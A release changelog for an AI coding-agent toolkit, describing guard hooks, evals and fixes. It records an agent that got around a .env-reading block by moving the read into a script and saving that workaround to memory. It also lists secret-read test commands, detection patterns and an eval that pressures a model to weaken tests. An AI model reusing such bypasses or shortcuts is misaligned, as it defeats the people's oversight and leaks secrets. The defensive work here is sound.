devops-expert-csk leads with the pipeline. It now asks whether a CI/CD pipeline exists, authors the workflow file when there is none, and reads/updates/triggers/diagnoses it when there is — the runner performs the deploy. A hand-rolled SSH deploy is the fallback for a project with no pipeline, not an equal option.
session-manager-csk’s description said it “writes the handover” while its own Constraints say it changes no files. It recommends one; /handoff-csk writes it. Description corrected.

Added — an eval that pressures the model to weaken a test instead of fixing the code

evals/cases/pressure-test-weakened: a discount function that is deterministically wrong, a red test, a fifteen-minute deadline, and a team lead who calls the test flaky. The prompt never names skipping, deleting or editing the test — it measures whether the model reaches for those when the situation makes them look right, which is the shape of the one case in this harness that has shown a clean delta so far.
Graded on behaviour, never on the edit’s spelling: the grader calls the module with an input no test covers, reads skipped and todo counts from the real runner so every form of “switched off” lands in one integer, and checks the expectation literal is still there. Calibrated on seven synthetic outcomes before being trusted — correct fix 4/4, test.skip and { skip: true } 1/4, deleted suite 0/4, doing nothing 2/4, a bent expectation 2/4, the tested input special-cased 3/4. The last is caught only by the untested input.
Calibration also caught the harness: on Node 22 node --test test/ treats the directory as one test file and reports “tests 1” for a file holding four, so the grader uses argument-less discovery.
Not run — evals/ costs real tokens and is manual by design — and recorded as unmeasured. Commit-free, so it measures the discipline half on its own, not the floor guard.
A kit-fetched Node now counts as a Node. ensure-node.sh never edits PATH, so on a machine whose only Node came from it every eval case that requires node was skipped and every run ended INCOMPLETE — measured on Windows 11. evals/run.sh now asks the kit’s resolver when node is not on PATH and puts what it finds on PATH for that run only, saying so; both arms and every grader see the same interpreter. And a grader that cannot take its measurement now says NOT_MEASURED instead of scoring: this one had printed “the suite was weakened” when node simply could not run and nothing had been touched. The runner counts such a run as not measured. The grader side is measured; the runner’s counting of that line is exercised only by a real, paid run.

Added — `security-scan` knows when not to scan, when not to run code, and how to read code built on a model

A question is not a scan. Loading the skill no longer implies running all of it. “Is this query injectable?” gets answered from the relevant part and stops — no discovery pass, no verifier fan-out, no coverage ledger, no report file. The full workflow runs when a scan, audit or review of a codebase is actually asked for; an ambiguous request gets one question first rather than a guess upward.
Code under review is not run to prove a finding unless it is isolated: no network, an empty environment, writes confined to scratch, hard limits. An install runs the target’s own scripts and a test run executes whatever the target chose. Without that isolation the finding stays CANNOT_VERIFY, naming the local check that would settle it.
CANNOT_VERIFY carries no severity. It is a source-grounded hypothesis one missing fact blocks, not a low-confidence confirmed finding. And controls that live outside the repository — a proxy, a WAF, provider settings, identity policy, a renderer’s sanitizing — are neither assumed present nor assumed absent.
A sharper HIGH/MEDIUM line: does the demonstrated result fully defeat an explicit control with real consequences, or only weaken it? Severity never exceeds demonstrated impact.
Previous reports shape priority, never coverage. A past true positive carries only over unchanged code and is re-verified; a past false positive rules out that exact claim, not the surface it sat on; a past partial or unknown row is never inherited as complete.
Front 5 — AI, agent and MCP code, read only when the target builds on a model. The rule that decides what counts: persuasive text is not a vulnerability, a missing deterministic control is; a system prompt is not a boundary; everything the model reads or writes is untrusted input. Then the classes — injected content reaching another principal, context bleeding across tenants, memory turning low-trust observations into durable instructions, forged provenance, model-written arguments reaching a sink, confused deputies, approvals that do not bind the action, schema and handler disagreeing, delegated loops with no ceiling, sub-agents handed the whole session, MCP identity decided by a name instead of a connection, MCP metadata treated as policy — and the extra checks a finding in this front must pass. mcp-builder and red-team now point at it, and mcp-builder states two rules a builder must hold: descriptions guide but never authorize, and identity binds to the connection.
Not adopted, deliberately: a machine-validated findings schema. The idea is strong, but nothing in this kit reads a scan report — no hook, no command — so a validator here would be a component nobody calls, which this kit does not ship.
Written for this skill’s source→gate→sink model and its three-outcome verdict.

Added — finished work is held up against the plan, not only against the tests

Tests prove the code does what the tests say; nothing proved it does what the PLAN said. A criterion could be half-built with every test green, and code nobody asked for could ride along unremarked. spec-planning now has a converge pass for the close of planned work: each acceptance criterion is read against the code in the plan’s own scope, and every gap is classified as missing, partial, contradicts or unrequested. Converged means zero findings; otherwise each remaining item goes back into the plan as a task naming its criterion.
unrequested is the class that matters most and is easiest to skip: it is scope creep made visible. The pass surfaces it and never deletes it — the user decides whether it stays, and if it does it gets a criterion.
Acceptance criteria now carry stable ids (AC-1, AC-2 …) and every task names the ids it satisfies, so “AC-2 is only partly built” can be said and tracked where “the second checkbox” could not, and renumbering can no longer silently re-point references. A criterion no task satisfies, and a task that satisfies none, are findings before any code is written.
review-agent-csk runs the pass when the work was planned and puts its table in the review: clean code that leaves a criterion missing or partial is not a clean review.
Model discipline, not a gate, and stated as such — no exit code can judge “partially built”. What makes it hold is the table: a pass that produced none did not run.

Added — the routing eval asks whether the right owner WINS, not only whether it could match

routing-eval.sh checked that a golden prompt contains its expected target’s trigger. It never checked that the target won: a prompt can carry its owner’s trigger and still be routed elsewhere because a louder word from a rival scored higher. Every golden case now also runs through the REAL route-hint.sh — not a second matcher, which would be the same rule written twice — and the eval reads which owner the hook actually names.
Measured on the shipped sets: 80 of 82 positive prompts reach their owner, and none of the 78 negative cases is ever named. The two that do not were green under the old check: “the app feels laggy after the last release” goes to release, and “is this endpoint fast enough on the hot path” goes to the backend agent — both a single loud keyword beating the owner.
Those two are a ratchet, listed by exact prompt. A wrong route not on the list fails the suite; a listed one that starts routing correctly fails too, asking for its line to be removed; and a listed prompt that is not in any golden set fails, because an entry nothing evaluates would sit there forever inflating the count. The scorer is deliberately untouched — whether one keyword should be able to win is a recorded open decision, and this is the number it was waiting for.
A hit is the expected target, or the agent whose body applies the expected skill: the hook prefers an agent by design and the agent carries the skill with it. The section calibrates before trusting a verdict — the first version extracted the hook’s answer with a \| that BSD sed does not support and reported 0 of 82, every prompt “silent”, which is a broken measurement and not a finding.
Checked in four states, not one: the real file green; a known miss removed from the list red; a correctly routed prompt added to the list red; a prompt that exists in no golden set red.
Cost: 160 hook invocations. Nine seconds on macOS; measured on Windows 11 at about 275 ms per invocation, roughly 44 seconds, for a developer who runs verify.sh routing locally. CI is unaffected — the routing step runs only in the Linux job.
Routing evals rank the target among all its rivals, scored by this kit’s own scorer rather than a TF-IDF approximation of it.

Added — a commit can no longer quietly lower the quality bar

An agent that hits a red check does not invent a clever loophole; it takes the cheapest road to green, and that road is visible in the diff. pre-commit now refuses the shapes it takes: a checker switched off where it fired (@ts-ignore, eslint-disable, # noqa, #pragma warning disable, //nolint, @SuppressWarnings, nosemgrep and the rest, per ecosystem), a test told to stop running (it.skip, .only, xit, @pytest.mark.skip, t.Skip, [Fact(Skip = …)], @Disabled), unfinished work standing where the code should be (NotImplementedException, todo!(), an empty catch, except: pass, a swallowed promise), a test file deleted outright, and assertions taken out of a test that stays. Tightening the bar needs no gate; loosening it is now loud.
Assertions are counted NET per file, so changing an expectation — one out, one in — stays free; a test only counts as weakened when it ends with fewer checks than it began with. A rename is not a deletion.
Two exemptions a real stack needs, each with a calibration twin in the suite that must still block. Documentation is not scanned, because a suppression written in prose silences nothing. Generated files are not either: a file that opens with a generator marker was not written by this commit’s author, and EF Core — this kit’s default stack — puts a warning pragma in every model snapshot it emits (395k such files on GitHub, measured). Without that exemption the default stack could not have committed a migration.
A genuine exception is a decision someone can see, not a rule that quietly got weaker: .floor-allowlist.txt at the repo root takes path:<glob>, rule:<name>, or an exact pattern line, and sits in the same diff as the code it excuses.
The report names rule, file:line and pattern, never the line itself — a suppressed line can carry a secret beside the comment, and the secret scan is the only place that decides how a value is shown.
Measured before it was trusted. The first version never ran on a commit that only deleted: the hook exits early when no line is added, so a deleted test file committed cleanly — the structural half now sits ahead of that exit. Five patterns beginning with # would have been read as comments and silently never armed; they are written [#]… now, and the file says why. And the generated-file check reads the first lines with sed, not head: under set -o pipefail, head closing the pipe makes the pipeline report 141 even when the marker matched (measured), so the exemption would never have applied.
37 blocking and 14 clean pattern cases driven through the real hook, 14 structural and exemption cases, and the process-count gate now measured with the guard armed.
What it costs, measured old hook against new with bash -x, not estimated. An ordinary commit pays +3 processes, the same for one staged file as for 120. A commit that only deletes pays +2. An EF Core migration — generated files that carry a warning pragma and are exempt — pays +8, and that stays flat at 3, 30 or 120 files. A commit the guard stops pays a few more, once.
Three rounds of measurement shaped those numbers, and each was a cost a Mac hides and Windows does not. The exemption first ran inside the per-pattern loop, after one grep per pattern: a three-file migration cost +53 and was allowed anyway. Then generated-file detection ran once per file: measured on Windows 11 at ~40 ms marginal per file, 4.8 s for 120 files, against ~86 ms flat for a single pass. Then the guard’s own plumbing — two diffs, two awks and two temp files — put +304 ms on every ordinary Windows commit (~900 → ~1,206 ms). One diff and one awk now serve the whole guard, the corpus files are created without a process, candidate lines are found with one grep, generated files are recognised in one awk over the first five lines of every candidate together, and hit locations are read from memory. The five-line window is deliberate: a hand-written file that mentions a generator marker in a comment further down is not exempted, and the suite holds that. An early estimate of “+2 per commit” was wrong and is not repeated here.
A header-parsing bug the merge closed. The corpus parser took any +++ line for a file header, so an added line that itself began ++ re-pointed the path of every line after it — measured, a suppression on src/a.ts line 3 was reported as counter;:2. Headers are now read only between diff --git and the first hunk.
path: in the allowlist is a shell pattern, and wider than it reads. * also crosses /, so path:*.cs exempts every C# file in the tree, and ** is not special. Both measured on Windows 11, both err toward exempting more than meant. Documented where the allowlist is described, repeated in the refusal message, and pinned by a suite case so the words and the behaviour cannot drift apart.
No pattern may end on a bare $, in any of the three lists. A CRLF source puts a carriage return before every line end, and the two greps this hook meets disagree about it: GNU grep (Git Bash) matches X$ against X\r, BSD grep (macOS) does not — 1 against 0 on the same file, measured on both machines. BSD awk also keeps that CR where gawk drops it. A bare-$ pattern would therefore hold on Windows and match nothing on macOS. Every existing $ is already written as an alternative to a class that contains CR (([[:space:]]|$)); the suite now rejects any that is not, and was checked red with a bare NOSONAR$ added.
Written for this kit: bash rather than Node, the staged diff rather than a merge base, and the exemptions above.

[2.11.0] — 2026-09-16

Before you update — two things that change behaviour

A script that reads a .env file can no longer be run through the Bash tool. The rule used to scan the command only, so cat .env was refused while a one-line script doing the same thing was not. It now reads the script. If a build or deploy script of yours loads .env and you run it through the tool, it will be refused — put the values in the environment, or run that script outside the session. Naming such a file is still free: ls, git add, chmod, cat and a linter on it are all untouched.
The commit-language rule left .claude/DISCIPLINE.md. That file is kit-owned and an update overwrites it, so a project that relied on the rule loses it on this update. It did not belong there: the discipline is identical in every project and cannot know a team’s language. Declare it in your own ./CLAUDE.md instead — the installed template now carries a ## Conventions section with Commit language: and Commit format:, and commit-message reads them.

Measured on Windows — what the queue actually returned

Everything in this release that touches a hook, an installer or the panel was re-measured on Windows 11 with the real mechanism, because a Mac can prove a string and not a platform. Results, including the ones that changed the text:

route-hint notification guard: 5 of 5. With the kit installed in a real project, a report-shaped prompt made the old hook speak and the new one stay quiet, on all five markers. Controls held: the same body without a marker routes in both, and a marker in the MIDDLE of the text routes in both — only an opening marker suppresses, which is what the code claims. Cost, paired and alternating over two rounds: zero extra external processes on an ordinary prompt, five per prompt in total, and a notification turn is now cheaper by one fork and 52 builtin tests. Wall-clock on a notification turn fell 91 ms, negative in eight pairs out of eight.
The permission-mode line: 8 of 8, and the TMPDIR worry is closed rather than merely untriggered. On Git Bash TMPDIR is unset and /tmp already IS the Windows temp directory — %TEMP% and the native form of /tmp are the same path — so the marker cannot land in one place and be looked for in another.
The §4.2 arming: 4 of 4. After a --dotnet install the vendor line is active, with zero carriage returns and no .kit-tmp left behind, and it fires: using DevArchitecture.Core; is refused, using System; is not. On --generic the same content commits and the line stays commented.
The panel’s instance record, two of three. Two panels do hand back the same token, confirmed. The file’s protection was described here as 0600; on Windows it is not, and the text now says what it is: measured with icacls, the record inherits SYSTEM, Administrators and the owner from the profile directory, with no Everyone or Users entry. Another standard user cannot read it; a local administrator can. That is weaker than 0600 and is written down rather than rounded off.
Not measured, and named as such: whether a gentle stop clears that record. MSYS kill -TERM cannot reach a Windows process at all — separate pid spaces, “No such process” — and taskkill without /F is refused by Windows, so a real console Ctrl-C could not be produced. A hard taskkill /F does leave the record behind, which is expected since no handler runs, and the next panel discards the stale pid and starts fresh. selfcheck.mjs names the coverer for the two halves that were measured and NOBODY for the third.

Fixed — the .env gate read the command, not the code it was about to run

guard-bash.sh blocked cat .env, and let a script that ran the same line straight through. Measured against the shipped hook: cat .env.local returned 2, while bash leak.sh, ./leak.sh and sh leak.sh — a one-line script running that identical cat — all returned 0, as did the Windows shape powershell -ExecutionPolicy Bypass -File x.ps1. So the rule stopped the direct path and nothing else, which is worse than it sounds: a session that hits the block and writes the read into a file is the expected next move, not an exotic one, and the workaround persists in a project’s memory once it works.
A command that names a script now has each LINE of that script judged exactly as a command line would be — the same three patterns, the same .env.example exemption, one rule in one place rather than two that drift. Per line, not per file: a file-wide exemption would let a single # see .env.example comment unlock the script. The three patterns moved into variables so the direct rule and the script rule cannot diverge.
What it does not close, stated in the hook rather than implied: a path built at runtime, decoded, sourced, or fetched. Those are not closable by pattern. This closes the literal two-step, which is the one that happens.
Naming a script is not running it. The first version of this rule scanned every token in the command, so ls -l leak.sh, chmod +x leak.sh, git add leak.sh, shellcheck leak.sh and cat leak.sh were all blocked — five of six non-executing commands, measured. None of them surfaces a secret; they surface the SCRIPT, and a gate that stops ordinary file handling is a gate people switch off. A token now counts only where a shell would execute it: after an interpreter word with flags and their values skipped (which is what -ExecutionPolicy Bypass -File x.ps1 needs), or as a ./x or absolute path in command position. An interpreter glued to a separator (x;bash f.sh) is found by trimming to the last separator inside the token.
It under-blocks rather than over-blocks where it is unsure, which is the right direction for a rule sitting in front of every command in a session.
Three shapes the first prefilter could not see, named by the Windows session before it had measured anything: cmd /c x.bat, an extensionless bash runme, and the native Windows spelling of a path. The prefilter keyed on filename EXTENSIONS, so the first two never reached the loop at all; it keys on the interpreter words now, which is broader and costs nothing because everything past it is a shell builtin. cmd / cmd.exe joined the interpreter list, and its slash-flags (/c, /k) are recognised alongside dash-flags.
Backslashes fold to forward slashes, the way route-hint.sh already folds its roots — for the case patterns, not for [ -f ], and the code says which because the difference is what stops the line being deleted later as redundant. Measured on Git Bash rather than assumed: [ -f ] resolves C:/repo/x.ps1, /c/repo/x.ps1 and an unfolded C:\repo\x.ps1 alike. What needs the fold is the glob — .\x.ps1 does not match ./* — and Windows is the platform whose native spelling that is, so without it the candidate is never considered and the rule silently does not exist there.
Cost on an ordinary command is one shell-builtin case test; a file is read only when the command really does name a script that exists at a position where it would run. Twenty-five cases pin it in smoke-test.sh §H4b — twelve that must block, eleven that must not (the five false positives above among them, because they are what caught the over-reach), and two calibration cases in the same directory so a green H4b cannot come from an inert fixture. A twenty-sixth was removed rather than fixed: git push origin main sat in the must-not list and is blocked — by §4.4, correctly, because the payload says auto. The suite caught a bad test.
Measured on Windows 11 with the real hook: the gate exists there, 26 of 26. Sixteen shapes blocked, including all six native ones — cmd /c x.bat, cmd.exe /k x.bat, an extensionless bash runme, powershell -File .\x.ps1, bash .\x.sh, and a drive-letter absolute path — and ten that had to stay free did, echo share, echo pushing and shellcheck --version among them, so the widened prefilter costs no false positives.
Cost measured the way it was claimed: paired old-versus-new in one alternating run, twice, identical both times. Zero extra processes on every ordinary command, including the ones the broad prefilter now examines — npm test +0, git status +0, echo share +0 — because everything past the prefilter is a shell builtin. The only +2 is where a script that really exists gets read, which is the design.
A relative script path is relative to something, and that something was an accident. It resolved against the hook’s own process cwd and never against the payload’s cwd, a field documented at the top of the file and then never read. Measured: with the process cwd elsewhere, bash leak.sh PASSED while the payload still named the project. The payload’s cwd is consulted now, with the process cwd kept as the fallback — a wrong payload cwd and an absent one both still block through it, so the lookup only ever adds coverage. Four more cases in §H4b, run from a different directory on purpose.

Changed — §4.5 now forbids recording a bypass, not only performing one

The .env gate’s two-step hole had a second half the code fix does not reach. The field session that found it did not merely walk around the block once: it stored the walk-around in its project memory as the solution — “put the read in a script file and run it by path” — so the bypass outlived the session that invented it and was applied again later. The code half is closed (the guard reads the script now), but a note that teaches a workaround generalises to every gate, and no gate in this kit can reach a memory file.
§4.5 already said a failing hook is never bypassed; it now also says never to write down the way round one. This is model discipline, it is labelled as such in the ROADMAP, and it is the only reachable half.

Fixed — the route hint depended on one field name, and nothing would have said so

route-hint.sh is the only thing in the kit that reads the prompt TEXT, and it got that text by slicing one named field: prompt. The published UserPromptSubmit schema names that field user_input. Which one a given CLI sends is not something this repo can establish from here, and picking wrong fails SILENTLY — the slice comes back empty, the hook exits 0, routing is gone, and the suite stays green because the suite chose the name too. A test that picks the same name as the code proves only that they agree.
Both names are now accepted, the fallback costing nothing on the path that already worked. Three cases pin the half the existing ones could not: routing through user_input, the notification guard covering that shape too, and prompt_id — a different field starting with the same six letters — not being mistaken for the prompt.

Added — the session is told when the commit gate cannot reach a person

§4.4 says git commit fails closed in auto, dontAsk, plan and bypassPermissions, because software answers the prompt there and nothing can prove a person did. What a session had no way to know was which mode it was in: guard-bash.sh reads permission_mode, but only when it is already refusing, which is one turn too late. Measured in the field — the user said “commit”, the guard refused, the mode was switched, the command ran again. Everything behaved correctly and a turn went on a fact that was available from the start.
context-usage.sh now names the mode ONCE per session, keyed by the mode itself so a mid-session switch announces the new one, and says nothing at all in the modes where the prompt reaches a person — a line repeated before every prompt in a mode people leave on all day is pure tax. The field is read from the documented payload rather than assumed, and an absent field prints nothing rather than guessing.
It sits ahead of the transcript work deliberately and derives its own session id: an earlier placement never ran for a session whose transcript could not be read, which is exactly the session with no other way to learn its own mode. Seven cases pin it, four of them about staying quiet.

Fixed — the two mandatory steps a real session skipped, and why one of them did not get a gate

The planner-csk escape hatch. The DoD opens with “ambiguous scope goes to planner-csk first”. A field session kept genuinely ambiguous planning inline and justified it with the discipline’s own inline clause, not code work — the one exemption that can never cover planner-csk, whose entire domain is work that is not code. The DoD now says so where the rule is, rather than leaving it to be inferred where the escape was taken.
The adr trigger described the wrong half of the problem. All three of its examples — database selection, auth strategy, critical pattern — are decisions someone ANNOUNCED as decisions, and those are the easy ones. The decisions that escape arrive inside ordinary build work: what an entity owns, what a session is bound to, what makes a row unique. Measured: one infrastructure task settled four questions of that shape and recorded none, with the skill installed and its trigger read every turn. The test is no longer “was I asked to choose” but “would a maintainer wanting to do this differently need to know why it is this way”.
evals/cases/adr-implicit, because the existing measurement had no headroom: adr-recorded scores 3/3 against 3/3, both arms recording the decision and the rejected option unprompted — and it is easy precisely because its prompt names the choice. The new case never says decide; it asks for per-tenant rate limiting and grades whether the reasoning behind it survives. Its grader is calibrated against three synthetic outcomes rather than trusted (4/4, 1/4, 2/4), and all four checks emit unconditionally so both arms share a denominator. It has NOT been run — evals/ costs real tokens and is manual by design — and it is listed as unmeasured rather than quietly implying a result.
No commit-time gate, and that is a decision. The candidate was: warn when a commit touches a migration or schema file and no ADR was written. It is not built, for three reasons. A warning that does not block is not a gate by this kit’s own definition — it is a better-placed reminder, which does not justify a new code path in everyone’s pre-commit. The trigger would have to be stack-specific (EF, Django, Rails, Prisma paths) in a kit that is deliberately stack-neutral. And most migrations are not architectural, so it would fire wrongly often enough to teach people to ignore it. Run adr-implicit first: writing a gate for a behaviour nobody has measured is the thing this repo tells itself not to do.

Fixed — §4.2 named the vendor in the one place §4.2 forbids, and left its own rule as a comment

devarch-module’s description said “DevArchitecture backend pattern”, and a skill description is always-on: the vendor’s name sat in every session’s system prompt of every project on that path. §4.2 says that name never appears in an artifact, so the kit was carrying it in the context from which artifacts get written. The description now says “Default .NET backend pattern”; the name stays in the skill BODY and in the README’s install section, which is where a reader looking for what the kit ships should find it.
trace-blocklist.txt ships the vendor pattern commented out, beside a note telling the reader to add their own vendor or template name. That note is right for a name only the user knows and wrong for this one: on the --dotnet path the kit is what brought DevArchitecture onto the machine. start.sh now uncomments it there — and only there, since a --generic install has no DevArchitecture and the pattern would block an ordinary commit that merely discusses it. A project with a legitimate reason to write the name allowlists it, the same escape every other pattern has.
Four assertions in e2e.sh: armed on --dotnet, still commented on --generic, and the real commit-msg hook driven with a message carrying the name and with one that does not. The must-PASS twin earned its place — the first version ran the hook outside a git repository, where it fails for its own reasons, so the blocking assertion was green against a hook that was refusing everything.
Not renamed, deliberately. The obvious fix is a neutral component name, and it is blocked by a gap this repo already records: the updater does not prune, so a rename would leave devarch-module behind in every existing install and add a second backend-pattern skill beside it. The rename belongs with that fix, not before it.

Fixed — a blocklist pattern that cannot compile now says so, in the kit’s words

Both blocklists invite a project to add its own line: a vendor name for §4.2, a credential shape for §4.3. A user who adds a broken one is covered by nothing, and the hook used to report that in grep’s words — grep: brackets ([ ]) not balanced dropped into the middle of the commit output, naming no file, no line and no consequence. In this repo the suite catches it (measured: a deliberately malformed pattern turns smoke red, and green again when removed, because every pattern is driven with its own case). A consumer project runs no such suite, so the hook has to say it itself. It now names the pattern, the file, and what it means: the line matches NOTHING.
It warns rather than blocks. Every other pattern still ran, so the commit is no less scanned than before, and refusing every commit over one typo would cost more than the typo.
Measured in three states: a broken pattern does NOT blind the others, an ordinary line still commits, and grep’s raw message no longer reaches the user.
The reason the first of those holds is not the one this entry first gave, and the correction matters more than the original claim. The patterns ARE combined: _csk_any joins them into one alternation and runs a single grep, which a malformed pattern takes down with it — exit 2, measured, on a clean corpus as much as on a matching one. What saves the scanner is that the guard reads != 1 rather than = 0. Exit 2 means “could not look”, which is not “nothing there”, so the per-pattern loop still runs and the broken pattern fails alone. Written as = 0 — which reads as equivalent — one typo in a project’s own added pattern would turn the whole scanner fail-open. On a well-formed blocklist the two spellings behave identically in every case, so no test in this repo would show the difference, including the malformed-pattern case, which goes red only BECAUSE the loop still runs. The line now carries a comment saying so, since the comment is the only thing preventing that rewrite.
The first version of this fix broke every commit. set -euo pipefail is in force, and taking the grep out of an if condition meant the first pattern that simply did not match killed the hook — every commit exiting 1 with no output at all. Caught by running the must-PASS case, which is the half that is easy to skip when a change looks like it only touches an error path.

Added — the secret scanner can now see a credential that has no issuer prefix

Every one of the eleven existing patterns recognises a credential by its own SHAPE: AKIA, ghp_, AIza, xox, sk_live_, sk-ant-, npm_, SG., a JWT, a PEM header. A token minted without an issuer prefix has no shape to recognise, so it is a class the list structurally could not see — not a forgotten pattern.
Measured on a published 2.10.1 install driving the real pre-commit, with calibration in the same run: an AWS key, a GitHub token and a co-author trailer were all blocked, while http://127.0.0.1:7911/?token=<uuid>, a bare uuid, and token= plus 32 hex all committed cleanly. The kit mints exactly such a URL itself — the Studio panel generates one per run and the command hands it to the user.
The new pattern anchors on the query KEY rather than on the value’s shape: [?&](https://github.com/Crewforth/crewforth/blob/main/token|api_?key|apikey|access_token|auth_token)= followed by 20 or more credential characters. It is not about the panel; any ?token= long enough to be real is one, whoever minted it. Verified against the real hook: the three strings above are now refused, while ?token=<your-token-here>, ?token=$STUDIO_TOKEN, a short sample and an ellipsis form all stay committable — those are how a URL gets WRITTEN ABOUT, and they carry characters the class excludes.
A bare uuid still commits, and that is deliberate. Without a key beside it there is nothing to match on, and a pattern broad enough to catch it would catch every identifier in the repository. The same goes for the other half of this leak: a machine name is any word, so no pattern separates one from prose. That half stays with .private-terms.txt and with the rule /studio-csk now carries, and it is labelled as discipline rather than dressed up as a gate.

Fixed — every documented way to start the panel assumed a PATH the kit deliberately does not edit

studio/README.md says node .claude/studio/server/index.js eight times and the main README once. Those lines fail for exactly the people who used the kit’s own installer: ensure-node.sh --install promises to touch nothing outside ~/.claude/studio-runtime — no PATH edit, no shell profile, no admin rights — so after a successful install there is a working Node and node still resolves to nothing.
Measured on a stock Windows 11 machine, which is also the first time the kit’s node-fetching flow has run there at all: --plan announced a 36 MB download, a checksum verification and one target directory; --install returned 0 in ten seconds; node --version through the full path reported v24.21.0 on win32 x64; ensure-node.sh --resolve found it; command -v node found nothing; ~/.claude gained exactly one directory. All four promises kept, including the one that makes the documentation wrong.
Both READMEs now ask for the path instead of assuming it — NODE="$(bash .claude/studio/ensure-node.sh)" — and say why node may be absent, so a kept promise does not read as a broken install. /studio-csk already did this, which is why it is the first line on the page.

Added — a second session can find the panel that is already running

The panel printed its tokenised URL once, to the stdout of whoever started it, and kept the token nowhere else. A second session could see the port was taken but not that the holder was our own panel, and had no way to reach it. Measured in the field: port 7777 held by another session’s csk-studio, the user asked for the panel, and the answer was a dead end — the server said “try –port 7778”, 7778 was held by something unrelated, and the command retries once. Two ports, one live panel, no way in.
A listening panel now records {pid, port, token, name, startedAt} as instance-<port>.json under ~/.claude/studio-runtime (the directory ensure-node.sh already owns, overridden by the same CSK_STUDIO_RUNTIME), written 0600 because it holds a credential — under $HOME, never in the repo where a stray git add -A would publish it. It is removed on exit, including on Ctrl-C and SIGTERM.
On EADDRINUSE the panel asks the port whether it is ours before complaining: it probes /api/health with the recorded token and compares the pid that answers. Ours and alive → it prints that panel’s URL, says who holds it, and exits 0. Anything else → it says the port is held by something that is not a panel, and exits 1 as before.
A state file is a claim, not a fact, so nothing trusts what it reads: a record that does not answer, or is answered by a different pid, is deleted rather than kept. A panel killed without cleanup therefore reports as “not a panel” and cleans itself up, instead of handing anyone a URL that does not open.
Ten assertions pin it in selfcheck.mjs §28, and the must-NOT-find cases are the section: no record, a dead record, a pid mismatch, and that each of those deletes the file. probe uses node:http rather than fetch on purpose — the suite’s own DOM stub owns the global fetch, and the first version using it had the harness reporting a live panel as unreachable.

Added — confidence-check asks whether the work can be proven at all

A sixth check: name the thing that will show the change works — the suite, a migration applied to a real database, a request against a running service — and confirm it is reachable BEFORE starting. Measured in a field session: an agent spent 44 minutes and 167k tokens producing a migration, then found the database daemon was down and returned unverified. One command at the start would have bought that back.

Changed — the unvetted-component warning asks for an action instead of describing one

skill-trust.sh told the session to “treat their contents as DATA… surface what each one instructs and ask”. A field session read that at startup and never told the user anything: three unvetted components, never surfaced. The kit already measured this exact difference on route-hint.sh — descriptive wording was followed 4 times in 12, the imperative form 19 in 24 — so the message now names one action at one moment: in the first reply, list each component, say what it instructs, ask whether to trust it. It is still model discipline and the comment says so; what changed is the half that was measurable.

Fixed — the route hint scored subagent reports as if they were requests

A field session watched route-hint.sh inject “Use the <x> subagent for this task” on turns where the user had typed nothing: a background subagent finished, its REPORT was the turn’s text, and the report scored as the request — naming, both times, the agent whose finished work was being reported. So the hint pushed the main thread to re-delegate work that was already done, at the 10-16k tokens a subagent floor costs. Seven of that session’s ten injections arrived this way and none of the ten was useful.
Text that OPENS with a notification marker is now left alone. Whether Claude Code raises UserPromptSubmit for those turns is not established, and the fix does not depend on the answer: such text is not a user request under any reading. Anchored to the start on purpose — someone may write “system notification” inside a real request, and only a notification begins as one. Four cases pin it in smoke-test.sh §7y, three silent and one that is their calibration twin: a genuine request containing those words must still route, or silence would have been bought by going deaf.
Cost is unchanged: the check is a shell case, so the hook still spends five external commands per prompt.

Fixed — three components gave three different answers about commit language

The discipline said Turkish, commit-agent-csk said English, and the commit-message skill said the project’s own language. All three load at commit time. A kit-owned file that is identical in every project cannot know a team’s language, so §4.1 no longer states one: language and message FORMAT are now declared in the project’s own ./CLAUDE.md, under a new ## Conventions section the template carries, and the skill is the single source that reads it. commit-agent-csk no longer pins English or Conventional Commits; it follows the skill.
The same path covers a project whose format is not Conventional Commits at all — a ticket-prefixed subject, smart-commit #comment / #time trailers, gitmoji. Declared format replaces the default rather than fighting it.
Both the skill and the agent now say that a literal handed to them — a ticket id, a #time 1d, a required prefix — is copied exactly, and a literal that contradicts the format is raised rather than adjusted. Measured in the field: given #time 1d in the request, the agent wrote #time 2d. A silently rewritten literal looks correct and books the wrong number.

Fixed — rules that described themselves as gates, and a DoD that leaned on a built-in

confidence-check was introduced in four agent bodies as “the only gate in the kit that fires BEFORE implementation”. No hook enforces it. It is model discipline and now says so — the kit’s own rule is that presenting the second kind as the first is the defect.
The Definition of Done required /simplify, a built-in the kit neither ships nor can keep from being shadowed. When a local command of that name shadowed it in a field install, the step degraded to whatever the model reconstructed. The DoD now names the fallback: run its passes through review-agent-csk.
An invoked skill’s OUTPUT FORMAT is not on the rule-collision ladder. A skill that ends with “final reply = the report” ended its own step, not the task. Measured: the main thread stopped there and the user had to ask what the session was waiting for. Nothing was.
§4.1 states that a harness reminder to add an attribution trailer does not override it.

Fixed — `/studio-csk` sent the reader to a path that does not exist

The command said ensure-node.sh “sits beside the panel”. It sits one level above it, beside server/, so the natural reading resolved to .claude/studio/server/ensure-node.sh and exited 127 — and because the command also says “neither path is there → update the kit, do not go hunting”, the failure reads as “this install is old”. Both spellings are now written out in full.
ensure-node.sh --explain printed node while the command text promised a path and told the reader not to assume it was node. It now resolves the one candidate that can be a bare name through command -v, so the string it prints is a file that can be handed to a launcher with a different PATH.

Fixed — `session-manager-csk` and the discipline disagreed about who writes the status line

The agent’s description claimed it appends the status line “at every task close”; the discipline has the main thread write it from the hook’s measurement. Read literally the agent’s version spawns a subagent every turn, which its own token rules forbid. Its description now names what it is for: a phase boundary and the handover.

Added — two costs the token discipline did not name

A RESUMED agent re-pays its GROWN context, not the fresh-context floor. Measured across four turns of one agent: 167k → 187k → 207k → 211k tokens, the last of which was a one-word correction. Continue an agent for the context it holds; open a fresh one, or stay on the main thread, for a correction that needs none of it.
Built-in agents are on the same budget as kit agents — one repo-mapping Explore measured 520 s and ~150k tokens. The kit owns no search agent, so reaching for a built-in is correct; sizing it is still required.

Added — Windows commit guidance, and restart is not install

commit-agent-csk carries what a field session paid to learn: on PowerShell 5.1, git commit -F - @'…'@ hands the message to git as an argument, git reads it as a pathspec, and an earlier git add on the same line leaves the tree staged but uncommitted. Write the message to a UTF-8 file with no BOM and use git commit -F <file>. Both halves were then verified on a Windows 11 machine rather than carried over from a report: the here-string really does reach git as a pathspec, the tree really is left staged, and the file path really does commit cleanly.
